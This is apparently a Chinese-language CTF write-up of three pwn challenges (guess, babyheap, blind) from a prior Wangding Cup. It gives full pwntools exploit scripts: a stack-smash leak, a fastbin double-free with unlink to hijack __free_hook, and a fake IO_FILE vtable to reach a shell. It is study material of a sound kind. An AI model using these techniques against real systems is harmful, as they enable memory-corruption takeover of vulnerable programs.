因为下个月要参加网鼎杯,看一下上一届的题
guess 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) ``` ```cpp HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0, a2); if ( HIDWORD(stat_loc.__iptr) == -1 ) { perror("./flag.txt"); _exit(-1); } read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL); close(SHIDWORD(stat_loc.__iptr));
这题开启了canary,并且将flag.txt的内容读到了栈中,让人不禁想到stack smash (想了好久。。 一开始没想明白程序是怎么执行的,几乎没做过开发,第一次见到fork()这个函数,上网看了一下前辈的博客。 fork()会创建一个子进程,并且在进程表中为他建立一个新的表项,复制父进程的几乎所有信息,只有fork()的返回值不同,子进程返回0,父进程返回子进程的pid。
1 2 3 4 5 6 7 8 9 10 11 12 13 while ( 1 ) { if ( v6 >= v7 ) { puts ("you have no sense... bye :-) " ); return 0L L; } v5 = sub_400A11(); if ( !v5 ) break ; ++v6; wait((__WAIT_STATUS)&stat_loc); }
跟进一下___stack_chk_fail函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ───────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────── In file: /home/sivona/glibc-2.23 /debug/stack_chk_fail.c 22 extern char **__libc_argv attribute_hidden; 23 24 void 25 __attribute__ ((noreturn)) 26 __stack_chk_fail (void ) ► 27 { 28 __fortify_fail ("stack smashing detected" ); 29 } ───────────────────────────────────────────────────────[ SOURCE (CODE) ]──────────────────────────────────────────────────────── In file: /home/sivona/glibc-2.23 /debug/fortify_fail.c 32 do_abort = 1 ; 33 else 34 do_abort = 2 ; 35 36 while (1 ) ► 37 __libc_message (do_abort, "*** %s ***: %s terminated\n" , 38 msg, __libc_argv[0 ] ?: "<unknown>" ); 39 } 40 libc_hidden_def (__fortify_fail)
计算一下__libc_argv和我们输入的内容的偏移就可以打印flag,当然因为aslr还需要泄露libc和栈地址,同样利用stack smash 泄露_environ地址,计算flag偏移。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *context.log_level = "debug" io = remote("node3.buuoj.cn" ,29959 ) elf = ELF("./GUESS" ) libc = ELF("./libc.so.6" ) io.sendlineafter("flag\n" , 'a' * 0x128 + p64(elf.got['__libc_start_main' ])) libc.address = u64(io.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) - libc.sym['__libc_start_main' ] info("libc:" +hex(libc.address)) io.sendlineafter("flag\n" , 'a' * 0x128 + p64(libc.sym['_environ' ])) stack = u64(io.recvuntil("\x7f" )[-6 : ].ljust(8 , '\0' )) info("stack:" +hex(stack)) io.sendlineafter("flag\n" , 'a' * 0x128 + p64(stack - 0x168 )) io.interactive()
babyheap
众所周知babyheap都是骗人的
1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序开启了Full RELRO我们不能修改got表,PIE关闭使得我们有机会在bss段写东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 new () { unsigned int v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index:" ); memset (&s, 0 , 0x10 uLL); read(0 , &s, 0xF uLL); v1 = atoi(&s); if ( v1 <= 9 && !ptr[v1] ) { ptr[v1] = (char *)malloc (0x20 uLL); printf ("Content:" , &s); readcontent((__int64)ptr[v1], 0x20 u); puts ("Done!" ); } return __readfsqword(0x28 u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 edit () { unsigned int v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index:" ); memset (&s, 0 , 0x10 uLL); read(0 , &s, 0xF uLL); v1 = atoi(&s); if ( v1 <= 0x1F && ptr[v1] && dword_6020B0 != 3 ) { printf ("Content:" , &s); readcontent((__int64)ptr[v1], 0x20 u); ++dword_6020B0; puts ("Done!" ); } return __readfsqword(0x28 u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 unsigned __int64 delete () { unsigned int v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index:" ); memset (&s, 0 , 0x10 uLL); read(0 , &s, 0xF uLL); v1 = atoi(&s); if ( v1 <= 9 && ptr[v1] ) { free (ptr[v1]); puts ("Done!" ); } return __readfsqword(0x28 u) ^ v3; }
程序只能分配10次0x30大小的chunk,edit也只能修改3次且限制长度0x20,在free后未将指针置零,存在uaf double free
思路是通过unlink修改bss段指针达到任意地址读写的目的
但是我们只能分配fastbin,所以通过double free泄露堆地址并且在堆中构造fake unlink的环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pwndbg> x/30gx 0x986000 0x986000: 0x0000000000000000 0x0000000000000031---chunk1 0x986010: 0x0000000000000000 0x0000000000000021---fake chunk 0x986020: 0x0000000000602088 0x0000000000602090---通过double free在此处分配chunk来修改chunk2的头 0x986030: 0x0000000000000020 0x0000000000000090---chunk2 0x986040: 0x0000000000980000 0x0000000000000000 0x986050: 0x0000000000000040 0x0000000000000090 0x986060: 0x0000000000000000 0x0000000000000031 0x986070: 0x0000000000000033 0x0000000000000000 0x986080: 0x0000000000000000 0x0000000000000000 0x986090: 0x0000000000000000 0x0000000000000031 0x9860a0: 0x0000000000000000 0x0000000000000031 0x9860b0: 0x0000000000000000 0x0000000000000000 0x9860c0: 0x0000000000000000 0x0000000000020f41 pwndbg> x/12gx 0x602060 0x602060: 0x0000000000000000 0x0000000000986010 0x602070: 0x0000000000986040 0x0000000000986070 0x602080: 0x00000000009860a0 0x0000000000986030 0x602090: 0x0000000000000000 0x0000000000986040 0x6020a0: 0x0000000000986010 0x0000000000986040 0x6020b0: 0x0000000000000001 0x0000000000000000
unlink成功后就可以任意地址读写了
1 2 3 4 5 6 7 pwndbg> x/12gx 0x602060 0x602060: 0x0000000000000000 0x0000000000986010 0x602070: 0x0000000000986040 0x0000000000986070 0x602080: 0x00000000009860a0 0x0000000000986030 0x602090: 0x0000000000000000 0x0000000000986040 0x6020a0: 0x0000000000602088 0x0000000000986040 0x6020b0: 0x0000000000000001 0x0000000000000000
我采取的方式是通过show puts@got来leak libc 注意修改edit的三次限制
还有一种leak思路是构造fake unsortedbin 但还是要unlink
然后修改free_hook拿到shell, malloc_hook不太行
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *p = process('./babyheap' ) elf = ELF('./babyheap' ) libc = ELF('./libc.so.6' ) context.log_level='debug' def g () : gdb.attach(p) pause() def new (index,content) : p.sendlineafter('Choice:' ,'1' ) p.sendlineafter('Index:' ,str(index)) p.sendlineafter('Content:' ,content) def edit (index,content) : p.sendlineafter('Choice:' ,'2' ) p.sendlineafter('Index:' ,str(index)) p.sendlineafter('Content:' ,content) def show (index) : p.sendlineafter('Choice:' ,'3' ) p.sendlineafter('Index:' ,str(index)) def free (index) : p.sendlineafter('Choice:' ,'4' ) p.sendlineafter('Index:' ,str(index)) bss=0x602060 new(1 ,'1' ) new(2 ,'2' ) new(3 ,'3' ) new(4 ,p64(0 )+p64(0x31 )) free(2 ) free(1 ) free(2 ) show(1 ) leak=u64(p.recvuntil('\nDone!\n' ,drop=True ).ljust(8 ,'\x00' )) info('#leak:' +hex(leak)) heap=leak-0x30 new(7 ,p64(heap+0x20 )+p64(0 )+p64(0x40 )+p32(0x90 )) new(8 ,'a' *0x18 +p32(0x31 )) new(9 ,'2' ) new(5 ,p64(0x20 )+p64(0x90 )) edit(8 ,p64(0 )+p64(0x21 )+p64(bss+0x8 *8 -0x18 )+p32(bss+0x8 *8 -0x10 )) g() free(9 ) edit(8 ,p64(0x6020b0 )+p64(elf.got['puts' ])) edit(5 ,'a' ) show(6 ) libc_base=u64(p.recvuntil('\nDone!' ,drop=True ).ljust(8 ,'\x00' ))-libc.sym['puts' ] info("#libc_base:" +hex(libc_base)) edit(8 ,p64(libc_base+libc.sym['__free_hook' ])) one_gadget=libc_base+0xf1147 edit(5 ,p64(one_gadget)) free(3 ) p.interactive()
blind 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
同样开启了full relro无法修改GOT表,没有开启PIE
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 new () { unsigned int v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index:" ); memset (&s, 0 , 0x10 uLL); read(0 , &s, 0xF uLL); v1 = atoi(&s); if ( v1 <= 5 && !ptr[v1] ) { ptr[v1] = malloc (0x68 uLL); printf ("Content:" , &s); read_str((__int64)ptr[v1], 0x68 u); puts ("Done!" ); } return __readfsqword(0x28 u) ^ v3; }
只能分配6个0x70大小的chunk且没有溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 edit () { unsigned int v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index:" ); memset (&s, 0 , 0x10 uLL); read(0 , &s, 0xF uLL); v1 = atoi(&s); if ( v1 <= 5 && ptr[v1] ) { printf ("Content:" , &s); read_str((__int64)ptr[v1], 0x68 u); puts ("Done!" ); } return __readfsqword(0x28 u) ^ v3; }
没有溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 unsigned __int64 delete () { unsigned int v1; char s; unsigned __int64 v3; v3 = __readfsqword(0x28 u); printf ("Index:" ); memset (&s, 0 , 0x10 uLL); read(0 , &s, 0xF uLL); v1 = atoi(&s); if ( v1 <= 5 && ptr[v1] && dword_602098 <= 2 ) { free (ptr[v1]); ++dword_602098; puts ("Done!" ); } return __readfsqword(0x28 u) ^ v3; }
和babyheap一样可以fastbin attack,但是这个在bss段上存在0x7f可以直接在bss段上分配chunk
但是这题没有show等函数来leak,一个思路是修改IO_FILE结构体中的指针实现leak
但是这题存在system(“/bin/sh”)可以直接利用
我们可以伪造一个vtable
通过在bss段上分配chunk达到任意地址写的目的 修改0x602020的stdout指针为我们伪造的IO_FILE结构体
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 p _IO_2_1_stdout_ $6 = { file = { _flags = -72537977, _IO_read_ptr = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f488d7a46a3 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f488d7a46a4 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f488d7a38e0 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7f488d7a5780 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7f488d7a37a0 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f488d7a26e0 <_IO_file_jumps>
1 2 3 4 5 6 x/10gx 0x00007f488d7a26e0 0x7f488d7a26e0 <_IO_file_jumps>: 0x0000000000000000 0x0000000000000000 0x7f488d7a26f0 <_IO_file_jumps+16>: 0x00007f488d4589c0 0x00007f488d459730 0x7f488d7a2700 <_IO_file_jumps+32>: 0x00007f488d4594a0 0x00007f488d45a600 0x7f488d7a2710 <_IO_file_jumps+48>: 0x00007f488d45b980 0x00007f488d4581e0 0x7f488d7a2720 <_IO_file_jumps+64>: 0x00007f488d457ec0 0x00007f488d4574c0
1 2 3 4 5 6 pwndbg> x/10xi 0x00007f488d4581e0 0x7f488d4581e0 <_IO_new_file_xsputn>: xor eax,eax 0x7f488d4581e2 <_IO_new_file_xsputn+2>: test rdx,rdx 0x7f488d4581e5 <_IO_new_file_xsputn+5>: je 0x7f488d45826f <_IO_new_file_xsputn+143> 0x7f488d4581eb <_IO_new_file_xsputn+11>: push r15 0x7f488d4581ed <_IO_new_file_xsputn+13>: push r14
这个题调试费了我老大劲,因为我想优雅的伪造一个IO_FILE,但是搞了一晚上也没找到那些需要改那些不需要改
索性直接按照原来的稍微修改一下填进去。等有时间再系统学习一下IO_FILE的利用
需要注意的是调用puts时并不会使用0x602020处我们伪造的stdout,在调用prinf时才会用到
1 2 3 4 5 ► 0x7f779c885f13 <buffered_vfprintf+179> mov eax, dword ptr [rbx] 0x7f779c885f15 <buffered_vfprintf+181> and eax, 0x8000 0x7f779c885f1a <buffered_vfprintf+186> jne buffered_vfprintf+274 <0x7f779c885f72> RBX 0x6020a0 ◂— 0xfbad2887
程序在此处如果不跳转则进入__lll_lock_wait_private,所以设置flags=0x8000
但是修改之后的调试发现不会进入buffered_vfprintf
1 2 3 4 5 6 if (UNBUFFERED_P (s)) return buffered_vfprintf (s, format, ap); #define UNBUFFERED_P(S) ((S)->_IO_file_flags & _IO_UNBUFFERED) #define _IO_UNBUFFERED 2
在vfprintf中还有很有对flags的验证 0x8000都可以bypass
1 2 3 4 5 6 7 8 9 Dump of assembler code for function _IO_vfprintf_internal: 0x00007f6be7020221 <+177>: mov rax,QWORD PTR [rbx+0xd8] 0x00007f6be7020228 <+184>: mov rcx,r15 0x00007f6be702022b <+187>: mov rsi,r12 0x00007f6be702022e <+190>: sub rcx,r12 0x00007f6be7020231 <+193>: mov rdi,rbx 0x00007f6be7020234 <+196>: mov rdx,rcx 0x00007f6be7020237 <+199>: mov QWORD PTR [rbp-0x4b0],rcx => 0x00007f6be702023e <+206>: call QWORD PTR [rax+0x38]
还有一种思路是在bss上伪造一个unsorted bin 将其释放后并修改fd的低8位为\x00 就可以在malloc_hook上写了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn_debug import *pdbg = pwn_debug("blind" ) pdbg.local() p = pdbg.run("local" ) def new (index,content) : p.sendlineafter('Choice:' ,'1' ) p.sendlineafter('Index:' ,str(index)) p.sendlineafter('Content:' ,content) def edit (index,content) : p.sendlineafter('Choice:' ,'2' ) p.sendlineafter('Index:' ,str(index)) p.sendlineafter('Content:' ,content) def free (index) : p.sendlineafter('Choice:' ,'3' ) p.sendlineafter('Index:' ,str(index)) def g () : gdb.attach(p) pause() new(1 ,'aaaa' ) new(2 ,'bbbb' ) new(0 ,'cccc' ) free(1 ) free(2 ) edit(1 ,p64(0x60203d )) new(3 ,'bbbb' ) new(4 ,'aaaa' ) new(5 ,'dddd' ) edit(5 ,'\x00' *3 +p64(0 )*2 +p64(0x6020a0 )+p64(0x6020a0 +0x68 )+p64(0x6020a0 +0x68 *2 )+p64(0x6020a0 +0x68 *3 )+p64(0x602020 )) edit(0 ,p64(0x8000 )+p64(0x602020 )*7 +p64(0x602021 )+p64(0 )*3 ) edit(1 ,p64(0x602020 )+p64(1 )+p64(0xffffffffffffffff )+p64(0 )+p64(0x602020 )+p64(0xffffffffffffffff )+p64(0 )+p64(0x602020 )+p64(0 )*3 +p64(0x00000000ffffffff )) edit(2 ,p64(0 )+p64(0x6020a0 +0x68 *3 )) g() edit(3 ,p64(0x4008E3 )*10 ) edit(4 ,p64(0x6020a0 )) p.interactive()
reference https://www.lyyl.online/2018/09/14/2018-9-14-%E7%BD%91%E9%BC%8E%E6%9D%AF-blind/
http://p4nda.top/2018/08/27/WDBCTF-2018/
Author:
Sivona
License:
Copyright (c) 2020 CC-BY-NC-4.0 LICENSE
Slogan:
Enforce justice on behalf of Heaven.